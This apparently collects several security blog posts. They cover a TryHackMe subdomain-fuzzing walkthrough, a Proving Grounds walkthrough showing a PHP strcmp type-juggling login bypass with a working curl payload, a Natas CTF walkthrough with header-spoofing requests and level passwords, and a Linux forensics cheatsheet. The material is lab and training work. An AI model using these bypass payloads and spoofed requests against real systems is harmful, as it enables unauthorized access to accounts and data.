A New Method A New Method

TryHackMe Walkthrough Takeover

Takeover is an easy rated box on the TryHackMe platform. The challenge was created by some THM all-stars: JohnHammond, cmnatic, fumenoid and timtaylor.

You can play Takeover by visiting the following link: https://tryhackme.com/room/takeover

Background

The description reminds us to add the machine IP and domain target to our /etc/hosts file.

We can do this by opening the our /etc/hosts file in vim. We’ll need to use sudo for it.

sudo vim /etc/

we’ll add the following line:


10.10.X.X futurevera.thm

And this is essentially 80% of the path to the flag on this challenge.

Enumeration

The hint provided to tells us this is a sub-domain challenge. Even still, we should always run an nmap scan, as well as any other enumeration we might like to run.

Viewing the Website - Approving Unknown SSL Certificate

When we enter the target domain into our web browser http://futurevera.thm we’re redirected to an https version of the site.

We’re warned that the certificate isn’t secure. On a CTF and always – we should view the certificate. Doing so in this case doesn’t provide us any new information about the host, but its a good practice to get into.

Eventually, after checking the source of the page, we’ll want to start the process of fuzzing for subdomains.

Fuzzing with ffuf

It’s generally a good idea to use a variety of tools for the same tasks. So the following is only how I performed this fuzzing. The same could be done with wfuzz, or gobuster. These tools fall in and out of fashion and in some part come down to personal preference.

I’m going to use ffuf. Which you is pre-installed in Kali and ParrotOS, and can also be acquired here: https://github.com/ffuf/ffuf

Fuzzing Methodology

Since I’m using ffuf, we’ll start off by issuing a curl command.


# request
curl -I futurevera.thm

# response

HTTP/1.1 302 Found
Date: Mon, 06 Feb 2023 20:15:46 GMT
Server: Apache/2.4.41 (Ubuntu)
Location: https://futurevera.thm/
Content-Type: text/html; charset=UTF-8


We’ll note the Apache/2.4.41 server information. We can use this to assume, the site is using Apache’s virtual host option. We can read more about this here: https://httpd.apache.org/docs/2.4/vhosts/

With this information we can start our host name fuzzing:


ffuf -ic -c -u https://10.10.X.X/ -w $dbust -H 'Host: FUZZ.futurevera.thm' -t 20 

Flag explanation

  • ic - ignore comments in the wordlist
  • c - colorize our output
  • u - url to fuzz
  • w - provide our wordlist. Here the directory-list-2.3-medium.txt is aliased to the $dbust variable
  • H - the contents of our host header, more on this below
  • t - number of threads to use

There are two parameters in the above command that might trip us up:

1) It’s important to add append the IP address we provided in the url parameter with a slash (/) 2) Since we’re fuzzing the Host header, its also important that we place a space between the http host header, and the url we’re fuzzing.

The above fuzz will give a large output, and we’ll need to utilize a filter. In fuff we’lll use something simple like fuzzing on the size of the response. Our new command is the following:


ffuf -ic -c -u https://10.10.X.2X/ -w $dbust -H 'Host: FUZZ.futurevera.thm' -t 20 -fs 4605

And we’ll get back the following response:


        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.5.0 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : https://10.10.X.X/
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 :: Header           : Host: FUZZ.futurevera.thm
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 20
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 4605
________________________________________________

blog                    [Status: 200, Size: 3838, Words: 1326, Lines: 81, Duration: 165ms]
support                 [Status: 200, Size: 1522, Words: 367, Lines: 34, Duration: 144ms]

We get back some new end-points!

Its worth nothing that the list I’m using is relatively large and contains a lot of useful words for CTFs. The endpoints discovered are:

  • blog
  • support

Further Enumeration

If we try and visit any of the endpoints we’ve found, we’ll get an error letting us know the site can’t be found.

We’ll need to add the new endpoints to our /etc/hosts file, like we did above. Same sudo command, and either on its own line or added to the same line as our other hostname, we’ll add the following:


10.10.X.X futurevera.thm blog.futurevera.thm support.futurevera.thm

Visiting these sites will ask us, once again to approve the certificates. And just like before, we’ll make sure to inpect the certificates.

The blog.futurevera.thm SSL certificate doesn’t provide us any new information, but the support.futurevera.thm certificate provides us another domain for us.

Flag Retrieval

Adding the new-found domain to our /etc/hosts file will get us a little further towards reading teh flag.

Unfortunately, this secret domain appears to be the same or similar content we’ve seen before.

A simple form of enumerating this site would include visiting the NON-https site to view any content.

#request 
curl -I -k http://[REDACTED].support.futurevera.thm 


# response
HTTP/1.1 302 Found
Date: Mon, 06 Feb 2023 20:38:13 GMT
Server: Apache/2.4.41 (Ubuntu)
Location: http://flag{flagcontents!!!!}.s3-website-us-west-3.amazonaws.com/
Content-Type: text/html; charset=UTF-8

And we can read the flag!

Thanks!

If this post was helpful to you, please feel free to reach out, or consider buying me a coffee.

Thanks - happy hacking!

Buy me a coffee

Linux Fundamentals course on HacktheBox Academy

I’ve been in the top 1% of TryHackMe’s rankings for a little while. I’ve really learned a lot on the platform and would recommend it to others.

I feel I’ve needed a bit of change, so I plan boosting my HackTheBox ranking.

I’ve noticed a great deal of posts about TryHackMe and HackTheBox, are hyper-centered on walkthroughs, and I’ve occasionally attempted to do the same.

The downside of walkthroughs is they’re generally very similar, so I’d like to move away from this type of content for a little bit, or at least augment my approach and write more about my thoughts about the design of the machines, learning processes, cheat sheets and in a larger sense; try harder to set these walkthroughs apart.

The Course

Generally, I feel HTB is providing some of the best training for infosec professionals.

I’m not a Linux beginner, but I really enjoyed HTB’s Linux Fundamentals course.

My experience with linux has been that of a hacker who’s read a lot of man pages, built systems, fiddled with *nix for over a decade. I feel comfortable with ELF binaries and navigating around a *nix file system. So, I had a lot of this knowledge from just using Linux, but its really nice to have things laid out like this.

That said, the course zoom through a lot of topics, albeit briefly.

There isn’t a “hacker” focus in the course, it truly is a fundamentals course. So while, I was mostly able to get it done in a few hours, what made it fun were the cheat sheets provided, as well as the challenges at the end of each chapter.

One of my favorite things about the platform is its challenge designs. The challenges build on cumulative knowledge, and occasionally have some unintended quirks. For example, there’s a challenge which asks the user to install and run a simple http webserver with npm. Taking a look through packages, one can find a lot of packages which match this description. Finding the correct package is half the battle, as question asks for a specific syntax.

This was a little challenging for me, as it required a little bit of trial and error, but once I had found the solution, I had also find something even better … a few more brain-wrinkles on the topic of npm which I added to my notes.

Recommendation

HTB Academy provides you with some “cubes”, in game money, to purchase courses, and you’re rewarded with completing the courses with some cubes being returned to you.

This isn’t the most fun, but it is really cool to get started on the platform for free and be able to grind stats until you level up.

My overall ranking on HTB is currently kinda low, due to me not being on the platform very much, but I’d recommend this module for beginners as well as those looking to get a good refresher and possibly some great avenues for more research.


If this post was helpful for you please feel free to reach out, or consider buying me a coffee.

Thanks - happy hacking!

Proving Grounds-Lunar

Lunar is an “intermediate” rated box on Offensive Security’s “Proving Grounds: Practice” platform.

Offsec provides walkthroughs for their machines, but at times there are incongruities between what is stated and what works, I’d like to provide an alternative methodolgy, and hopefully show off some simpler techniques.

Lunar highlights reading source-code and exploiting PHP vulnerabilities.

Enumeration

We start off with our usual nmap scan:

sudo nmap -sS -sV -sC --min-rate=10000 -p- -oN fast-nmap -vv $target

And get back the following:

PORT      STATE SERVICE    REASON         VERSION                                                                                                           
22/tcp    open  ssh        syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)                                                                                      
| ssh-hostkey:                                                                                                                                              
|   3072 c1:99:4b:95:22:25:ed:0f:85:20:d3:63:b4:48:bb:cf (RSA)                
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDH6PH1/ST7TUJ4Mp/l4c7G+TM07YbX7YIsnHzq1TRpvtiBh8MQuFkL1SWW9+za+h6ZraqoZ0ewwkH+0la436t9Q+2H/Nh4CntJOrRbpLJKg4hChjgCHd5KiLCOKHhXPs/FA3mm0Zkzw1tVJLPR6R
TbIkkbQiV2Zk3u8oamV5srWIJeYUY5O2XXmTnKENfrPXeHup1+3wBOkTO4Mu17wBSw6yvXyj+lleKjQ6Hnje7KozW5q4U6ijd3LmvHE34UHq/qUbCUbiwY06N2Mj0NQiZqWW8z48eTzGsuh6u1SfGIDnCCq3sWm37Y5LIUvqAFyIEJZVsC/UyrJDPBE+
YIODNbN2QLD9JeBr8P4n1rkMaXbsHGywFtutdSrBZwYuRuB2W0GjIEWD/J7lxKIJ9UxRq0UxWWkZ8s3SNqUq2enfPwQt399nigtUerccskdyUD0oRKqVnhZCjEYfX3qOnlAqejr3Lpm8nA31pp6lrKNAmQEjdSO8Jxk04OR2JBxcfVNfs=
|   256 0f:44:8b:ad:ad:95:b8:22:6a:f0:36:ac:19:d0:0e:f3 (ECDSA)                                                                                             
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBI0EdIHR7NOReMM0G7C8zxbLgwB3ump+nb2D3Pe3tXqp/6jNJ/GbU2e4Ab44njMKHJbm/PzrtYzojMjGDuBlQCg=
|   256 32:e1:2a:6c:cc:7c:e6:3e:23:f4:80:8d:33:ce:9b:3a (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDCc0saExmeDXtqm5FS+D5RnDke8aJEvFq3DJIr0KZML                                                                          
80/tcp    open  http       syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))      
|_http-title: Lunar Studio                                                    
| http-methods:                                                                                                                                             
|_  Supported Methods: OPTIONS HEAD GET POST                            
|_http-favicon: Unknown favicon MD5: 3653AD3D6A33550E6E60970FA20E1E00                                                                                       
|_http-server-header: Apache/2.4.41 (Ubuntu)                                                                                                                
111/tcp   open  rpcbind    syn-ack ttl 63 2-4 (RPC #100000)
| rpcinfo:                                     
|   program version    port/proto  service                                                    
|   100000  2,3,4        111/tcp   rpcbind                                                    
|   100000  2,3,4        111/udp   rpcbind                                                    
|   100003  3           2049/udp   nfs         
|   100003  3,4         2049/tcp   nfs         
|   100005  1,2,3      34281/tcp   mountd                                                     
|   100005  1,2,3      38838/udp   mountd                                                     
|   100021  1,3,4      43931/tcp   nlockmgr                                                   
|   100021  1,3,4      59451/udp   nlockmgr                                                   
|   100227  3           2049/tcp   nfs_acl                                                    
|_  100227  3           2049/udp   nfs_acl                                                    
2049/tcp  open  nfs_acl    syn-ack ttl 63 3 (RPC #100227)                                     
34769/tcp open  mountd     syn-ack ttl 63 1-3 (RPC #100005)                                   
37039/tcp open  tcpwrapped syn-ack ttl 63                                                     
37645/tcp open  mountd     syn-ack ttl 63 1-3 (RPC #100005)                                   
40409/tcp open  tcpwrapped syn-ack ttl 63                                                     
43931/tcp open  nlockmgr   syn-ack ttl 63 1-4 (RPC #100021)                                   
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel  

Enumeration HTTP - Discovering backup.zip

There are a number of ports open, but since a lot of web enumeration entails a lot of fuzzing of the site, we’ll get started with fuzzing first.

We can use a number of techniques to get to the next stage, which will be finding an archive (.zip) file of some of the sites key files.

To find backup.zip, we can run nikto w/ the following:

nikto -h http://$target -o nikto.txt

and get the following output:

- Nikto v2.1.6/2.1.5
+ Target Port: 80
+ GET The anti-clickjacking X-Frame-Options header is not present.
+ GET The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ GET The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ OSVDB-630: GET The web server may reveal its internal or real IP in the Location header via a request to /images over HTTP/1.0. The value is "127.0.0.1".
+ GET Server may leak inodes via ETags, header found with file /, inode: 49b7, size: 5ddbc015cc380, mtime: gzip
+ HEAD /backup.zip: Potentially interesting archive/cert file found.
+ HEAD /backup.zip: Potentially interesting archive/cert file found. (NOTE: requested by IP address).
+ OPTIONS Allowed HTTP Methods: OPTIONS, HEAD, GET, POST 
+ GET Cookie PHPSESSID created without the httponly flag
+ OSVDB-3268: GET /css/: Directory indexing found.
+ OSVDB-3092: GET /css/: This might be interesting...
+ OSVDB-3268: GET /images/: Directory indexing found.
+ GET /login.php: Admin login page/section found.

We can also find the .zip using dirsearch or gobuster , here’s my dirsearch query:

#dirsearch.py -u $target -e html,php,txt,sh,zip -t 20 -r -f -x 400,401,404

and its output:

200     1MB  http://192.168.178.216/backup.zip

Note that, dirsearch uses the common.txt wordlist found, on Kali installations at /usr/share/dirb/wordlists/common.txt.

Extracting backup.zip and Reading Source

Ok, that now that we’ve found our way to the backup.zip file, we’ll extract it via whatever means work best for you. I like using 7z e backup.zip.

Once we’ve extracted our files, we’ll find we have a few .php files.

completed.php
dashboard.php
login.php
pending.php

We can take a look at the target site and our earlier enumeration and see that we’re able to access the login.php page.

Looking at the source for this page we can find the following:

<?php                      
session_start();                                                                              
include 'creds.php';
$error = null;                                 
if ($_POST) {                  
                                                                                              
  if ($_POST['email'] && !empty($_POST['email']) && $_POST['email'] === 'liam@lunar.local' && strcmp($_POST['password'], $pwd) == 0) {
                                 
      $_SESSION['email'] = $_POST['email'];                                                   
                                                                                              
      header('Location: dashboard.php');
                                  
      die();                             
  }                                                                                                                                                                                         
  else {                                                                                      
      $error = "Email or password is incorrect.";                                             
  }                                                                                           
    }                                                                                                                                                                                       
?>   

The first thing we’ll notice is the use of the include statement pointing to creds.php, which will get referenced in a little bit.

Next, we’ll take a look at the following if statement:

if ($_POST['email'] && !empty($_POST['email']) && $_POST['email'] === 'liam@lunar.local' && strcmp($_POST['password'], $pwd) == 0)

The first part is taking the user input of the email variable and making sure that it’s equal to liam@lunar.local and then there’s the interesting part:

strcmp($_POST['password'], $pwd)

The php docs say strcmp function is:

strcmp — Binary safe string comparison

What’s interesting about the string comparison in our target’s source is the comparison to the $pwd variable. Since the variable isn’t declared on the login.php source, its likely compared to the $pwd varable declared in creds.php.

So, we need to either find a way to read creds.php OR find a way to bypass it.

And it turns our that strcmp is a strange function due to the quirks of PHP’s loose comparison understandings.

If we take a look at the following slides from an OWASP talk titled “PHP Magic Tricks: Type Juggling” (Page 34, 35, 36) we get a much better understanding of the dangers of the functions as well as its implementation here:

Looking at our source code snippet again:

strcmp($_POST['password'], $pwd)

We can see that the contents of that array is whatever we’ve sent. But PHP is kinda stupid, so what would happen if we sent along, just an empty array?

Using Burp we can intercept our POST request to login.php.

Here’s our original request:

POST /login.php HTTP/1.1

Host: target
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
Origin: http://192.168.53.216
Connection: close
Referer: http://192.168.53.216/login.php
Cookie: PHPSESSID=u4jrbtublanh7khbhdluqhc3e3
Upgrade-Insecure-Requests: 1

email=liam%40lunar.local&password=strcmpMaDNess

We’ll modify the POST data to the following:

email=liam%40lunar.local&password[]=

Here, we’re passing an empty array. Like in the slides from the OWASP talk, we’re telling PHP that the password equals NULL.

We send off the request and ….

We get a status code302 redirecting us to dashboard.php.

The following curl command will get us the same:

curl -i -s -k -X  POST -b 'PHPSESSID=u4jrbtublanh7khbhdluqhc3e3' --data-binary 'email=liam%40lunar.local&password[]=' http://$target/login.php


HTTP/1.1 302 Found
Date: Wed, 10 Aug 2022 19:48:23 GMT
Server: Apache/2.4.41 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: dashboard.php
Content-Length: 0
Content-Type: text/html; charset=UTF-8

Now that we’ve successfully bypassed the login page, we’ll see what vulns we can find in dashboard.php .

Which, I’ll post about in the next post.


If this post was helpful for you please feel free to reach out, or consider buying me a coffee.

Thanks!

Natas CTF Walkthrough

I wanted to write about the the Natas web application CTF. Its a fun little CTF, and great for beginners.

We can start off by reading the description hosted here at the NATAs website:

URL: http://natas0.natas.labs.overthewire.org

Challenge 0

For the first challenge, we’re already provided the username and password.

Username: natas0
Password: natas0
URL:      http://natas0.natas.labs.overthewire.org

Challenge 1

From here, we access the main page and are greeted with the message “You can find the password for the next level on this page.”

As a first, we always want to take a look at the source and find the password there.

# line 16 
<!--The password for natas1 is gtVrDuiDfck831PqWsLEZy5gyDz1clto -->

Challenge 2

You can find the password for the next level on this page, but rightclicking has been blocked!

Challenge 2 is similar and we can do it a few ways. The claim “ rightclicking has been disabled” isn’t entirely true, since we’re to do right-click in various browsers.

But we’ll honor the spirit of the challenge.

Method 1

We can simply modify the url to view-source:http://natas1.natas.labs.overthewire.org/

Method 2

Using curl, via the command line, we can can use the -u flag to pass the credentials for the level and read the source:

debian  ~  curl http://natas1.natas.labs.overthewire.org/ -u "natas1:gtVrDuiDfck831PqWsLEZy5gyDz1clto" | grep -i password
 
 You can find the password for the
<!--The password for natas2 is ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi -->

Challenge 3

http://natas2.natas.labs.overthewire.org

login: natas2:ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi

Challenge:

There is nothing on this page

Once again, we’ll use our view-source super powers and take a look at what is going on on this page.

The source appears normal, with the exeception of the “files” directory on line 15.

There is nothing on this page
<img src="[files/pixel.png](view-source:http://natas2.natas.labs.overthewire.org/files/pixel.png)">

Navigating to the /files directory gives us a directory listing which contains the a .txt file called users.txt. Downloading or reading users.txt provides us with usernames, which include the credentials for our next level.

Contents of http://natas2.natas.labs.overthewire.org/files/users.txt


# username:password
alice:BYNdCesZqW
bob:jw2ueICLvT
charlie:G5vCxkVV3m
natas3:sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14
eve:zo4mJWyNj2
mallory:9urtcpzBmH

Challenge 4

Challenge:

There is nothing on this page

Once again, we’re told nothing exists on the page, so we take a look at the source and are greeted with a small clue.

<div id="content">
There is nothing on this page
<!-- No more information leaks!! Not even Google will find it this time... -->
</div>

This is helpful. After looking at the source, we take a look at what google would first use for indexing the site, robots.txt. We find the following:

# contents of robots.txt 
# natas3.natas.labs.overthewire.org/robots.txt


User-agent: *
Disallow: /s3cr3t/

We head over the to the /s3cr3t directory and a directory listing with the file users.txt.

We read the contents of users.txt to get credentials for Level 5.

#contents of users.txt 

natas4:Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ

Challenge 5

Challenge:

Access disallowed. You are visiting from “http://natas4.natas.labs.overthewire.org/index.php” while authorized users should come only from “http://natas5.natas.labs.overthewire.org/”

We’re provided a “refresh page” link.

The “authorized users should come only from “http://natas5.natas.labs.overthewire.org/” is a great clue, and indicator that we might be able to easily bypass this page by manipulating the headers.

We can do this a few ways.

Method 1

We can intercept the request via burp and modify our GET request to to the following:

GET /index.php HTTP/1.1
X-Forwarded-For: http://natas5.natas.labs.overthewire.org/
Host: natas4.natas.labs.overthewire.org
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://natas4.natas.labs.overthewire.org/index.php
Authorization: Basic bmF0YXM0Olo5dGtSa1dtcHQ5UXI3WHJSNWpXUmtnT1U5MDFzd0Va
Connection: close
Upgrade-Insecure-Requests: 1

Here, we’re simply abusing the X-Forwarded-For header and adding the url provided in the challenge clue.

Method 2

Once again, we can use curl to send our request:

curl -H "Referer: http://natas5.natas.labs.overthewire.org/" -u "natas4:Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ" http://natas4.natas.labs.overthewire.org/index.php

Where -H modifies the Referer: header and we again use -u to pass our natas4 credentials.

We get back the following:

debian  curl -H "Referer: http://natas5.natas.labs.overthewire.org/" -u "natas4:Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ" http://natas4.natas.labs.overthewire.org/index.php | grep -i password

<--- snip --> 

Access granted. The password for natas5 is iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq


I’ll be updating this page as we progress through the challenges.

Linux Forensics Cheatsheet

Recently, I finished up the LInux Forensics Room on TryHackMe and found a lot of really great refreshers on concepts I think are relevant for Penetration Testers, CTF Players and wannabe Red Teamers.

Here’s my LInux Forensics cheatsheet, its also available on Github.

 OS and account information

Getting release information:

cat  /etc/os-release

Finding User Accounts:

The passwd is usually world readable by default and can be used to enumerate other users on the machine.

cat /etc/passwd

We can clean up the output w/ the following:

cat /etc/passwd | column -t -s :

Group Information

We can get information about groups in the following way: /etc/group

Example:

user@machine$ cat /etc/group 
root:x:0: 
daemon:x:1: 
bin:x:2: 
sys:x:3: 
adm:x:4:syslog,ubuntu 
tty:x:5:syslog

Here’ we can see the user adm belongs to the syslog and ubuntu groups.

The x signifies that the user has a password stored in the /etc/shadow file.

Sudoers List

We can view the sudoers list, or users allowed to upgrade their privileges by viewing. /etc/sudoers

Login information

Found in the /var/log, we can view log files. These include:

- wtmp
- btmp

These contain information about failed logins. wtmp keeps historical data about logins. These files are binary files and can be viewed with the last command.

Authentication logs

All authenticagted users are logged in the authlog. These can be found at:

/var/log/auth.log

You’ll need to be root or allowed to view these files.

Example usage:

cat /var/log/auth.log | tail

Hostname

Example:

cat /etc/hostname

Timezone

cat /etc/timezone

Network Configuration

/etc/network/interfaces

Active network connections

We primarly will use system tools like netstat

netstat -pant

Running processes

ps aux

DNS information

Files like /etc/hosts contain configuration information for DNS assignments.

cat /etc/hosts

Information about DNS resolvers (how linux hosts talks to DNSServers) can be found in /etc/resolv.conf

cat /etc/resolv.conf


Persistence Mechanisms

Cron jobs

cat /etc/crontab

Service startup

cat /etc/init.d

.Bashrc

When a bash shell is started it runs commands through the .bashrc file which can be found in the users home directory. /var/ cat ~/.bashrc

Sudo execution history

All the commands that are run on a Linux host using sudo are stored in the auth log. We already learned about the auth log in Task 3. We can use the grep utility to filter out only the required information from the auth log.

user@machine$ cat /var/log/auth.log* |grep -i COMMAND|tail

Bash history

Any commands other than the ones run using sudo are stored in the bash history. Every user’s bash history is stored separately in that user’s home folder. Therefore, when examining bash history, we need to get the bash_history file from each user’s home directory. It is important to examine the bash history from the root user as well, to make note of all the commands run using the root user as well.

user@machine$ cat ~/.bash_history

Files accessed using vim

Vim keeps logs. So we can and should access these:

cat ~/.viminfo

Log FIles

Log files are insanely important for forensics investigations.

Log files can be found at: /var/log

Syslog

The Syslog contains messages that are recorded by the host about system activity. The detail is configurable through the logging level.

We can use cat, head, more, and `less.

Example

cat /var/log/syslog* | head

Auth logs

cat /var/log/auth.log* |head

Third Party Logs

Similar to sys and auth logs we can find other types of logs in /var/log/.